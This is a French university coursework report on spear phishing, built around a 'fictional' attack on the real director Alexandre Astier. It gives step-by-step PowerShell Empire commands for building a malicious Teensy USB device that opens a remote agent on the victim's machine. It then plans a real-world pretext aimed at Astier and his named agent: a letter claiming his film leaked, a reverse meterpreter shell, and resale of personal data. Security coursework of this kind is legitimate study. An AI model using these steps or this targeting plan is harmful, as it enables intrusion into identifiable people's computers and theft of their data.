heig-vd
HAUTE ÉCOLE
D'INGÉNIERIE ET DE GESTION
DU CANTON DE VAUD
www.heig-vd.ch

Projet SEN : Spear Phishing

Rapport

Attaque fictionnelle sur Alexandre Astier

Printemps 2020

Étudiants : Jérôme Bagnoud & Florian Polier

Professeur : Abraham Rubinstein

Assistant : Yann Lederrey

1 Présentation des outils

1.1 Premier outil : Teensy

1.1.1 Présentation

Le Teensy est un kit de développement similaire aux produits de la gamme Arduino, ce dispositif peut-être utilisé comme un HID (Human Interface Device), c'est à dire se faire passer pour un clavier par exemple et envoyer des frappes de clavier à l'ordinateur auquel il est connecté.

Ce produit est aussi similaire au fameux "Rubber Ducky", produit par la société Hak5, il fournit les même possibilité mais il nécessite une configuration initial un peu plus poussé.

1.1.2 Installation

Pour commencer à développer sur le Teensy, il faut installer l'IDE de Arduino, une fois l'installation effectuée il faut installer le plugin Teensyduino, qui va permettre de programmer sur le Teensy.

Pour créer les différents payloads d'attaque,nous avons utilisé le framework "Empire", qui permet de faciliter la création de payloads malveillant pour les Teensy.

Pour l'installer il suffit simplement de taper la commande suivante sur Kali Linux :

```
\> apt install powershell-empire
```

Pour les autres distribution voir ici.

1.1.3 Création de payloads

Nous allons donc utiliser "Empire" pour créer des palyoads pour le Teensy, pour ce faire, il faut démarrer "Empire" en tapant :

```
> powershell-empire
```

Ensuite il faut choisir quel listener utiliser, nous allons utiliser le listener "http", il faut donc taper :

```
> uselistener http
```

Ensuite, on peut configurer ce module comme un module Metasploit, ici on va juste changer le port d'écoute en tapant :

```
> set Port 9000
```

Puis pour executer le listener on tape :

```
> execute
```

Après il faut choisir le mode de transmission, ici on va choisir la transmission par un Teensy, il faut donc taper :

```
> usestager windows/teensy
```

Puis associer le stagers au listener en tapant :

```
> set Listener http
```

Et enfin, générer le payload en tapant :

```
> generate
```

Empire devrait afficher que le fichier de script Arduino a bien été créer :

Il ne nous reste plus qu'à le compiler et le transférez sur le Teensy, pour cela il faut revenir sur l'IDE Arduino et ouvrir le fichier précédemment créé, puis cliquez sur le bouton en haut à gauche de compilation/-vérification :

Puis, une fois la compilation finie, il faut cliquer sur le bouton d'upload vers le Teensy :

Il est possible que Arduino ne parviennent pas à mettre le Teensy en "Program Mode", dans ce cas là, appuyez sur le bouton présent sur le Teensy pour le mettre en "Program Mode" manuellement.

Après tout cela, branchez le Teensy sur l'ordinateur cible, celui-ci devrait ouvrir un shell de cmd et tapez son payload pour l'exécuter avec Powershell, une fois ceci fait, un agent devrait être disponible sur Empire :

Pour voir les agents avec lesquels il est possible d'interagir, tapez :

```
> agents
```

Pour interagir avec un agent, tapez :

```
> interact $ID_AGENT
```

Il est maintenant possible d'interagir avec la machine de la victime !

Note : Il faut désactiver la protection de Windows Defender pour que le payload s'exécute correctement.

1.1.4 Sources

- `https://null-byte.wonderhowto.com/how-to/use-powershell-empire-generating-stagers-for-post-exploit`
- `http://www.powershellempire.com/?page_id=110`

2 Choix de la cible et recherche d'informations

3 Scénario d'attaque

3.1 Objectif de l'attaque

En tant qu'attaquant, nous sommes intéressé par notre cible (Alexandre Astier) pour plusieurs raisons :

- Récupérer ses informations personnelles (revente)
- Vecteur pour des attaques sur d'autres célébrités
- Curiosité de son travail

Notre attaque nous permettra d'obtenir un accès à l'ordinateur personnel de M. Astier, ou à celui de son agente Mme. Juanita Fellag. Il est hautement problème que cet accès nous permettra de remplir nos objectifs.

Si nous arrivons effectivement à infecter le PC de l'agente de M. Astier, nous aurons aussi certainement accès à tous les autres clients [1] de l'agence, puisque Mme Juanita Fellag en est la directrice [2].

3.2 Support de l'attaque

Comme support de l'attaque, nous avons choisi **le courrier des lecteurs** [3]. Nous pensons que notre support est le plus adapté car c'est ce qui aura le plus de chance d'atteindre la cible. Astier reçoit des milliers de messages sur les réseaux sociaux, ce qui implique une faible chance de succès. Par contre, il reçoit beaucoup moins de lettres, et les traite en grande majorité.

De plus, cela nous permettra de profiter du format (hardware) pour utiliser un payload original. Nous utiliserons une **Teensy**, présentée plus tôt, que nous chargerons avec un payload et que nous lui enverrons

Afin de l'inciter (M. Astier ou son agente) à connecter la clé malveillante, nous utiliserons le **film Kaamelott en post-production** comme prétexte. Nous avons écrit le scénario suivant : Nous enverrons une lettre accompagnant la clé affirmant que le film a été **leaké**, et que la preuve est sur la clé ainsi que les instructions pour empêcher sa mise en ligne.

Au vu de l'importance de ce film pour M. Astier (il travaille sur l'oeuvre Kaamelott depuis 2004), nous espérons que la peur lui ferait oublier la prudence quelques instants, afin de lui faire connecter la clé qui contient le payload.

1. `http://www.agencesartistiques.com/Fiche-Agent/1840-juanita-fellag.html`
2. `https://www.societe.com/societe/film-talents-453963548.html`
3. `https://artistes-productions.com/2019/08/07/contacter-alexandre-astier-ecrire-a-alexandre-astier/`

3.3 Payload de l'attaque

La limite entre le payload et le support est, dans notre cas, assez floue. Nous avons donc expliqué la majeure partie de la procédure. Le payload logiciel présent sur la clé nous ouvrira un shell **meterpreter** en reverse TCP. Ainsi, nous aurons le contrôle complet de sa machine, et accès à toutes les ressources qu'elle contient. (Notamment le potentiel film.)

4 Simulation de l'attaque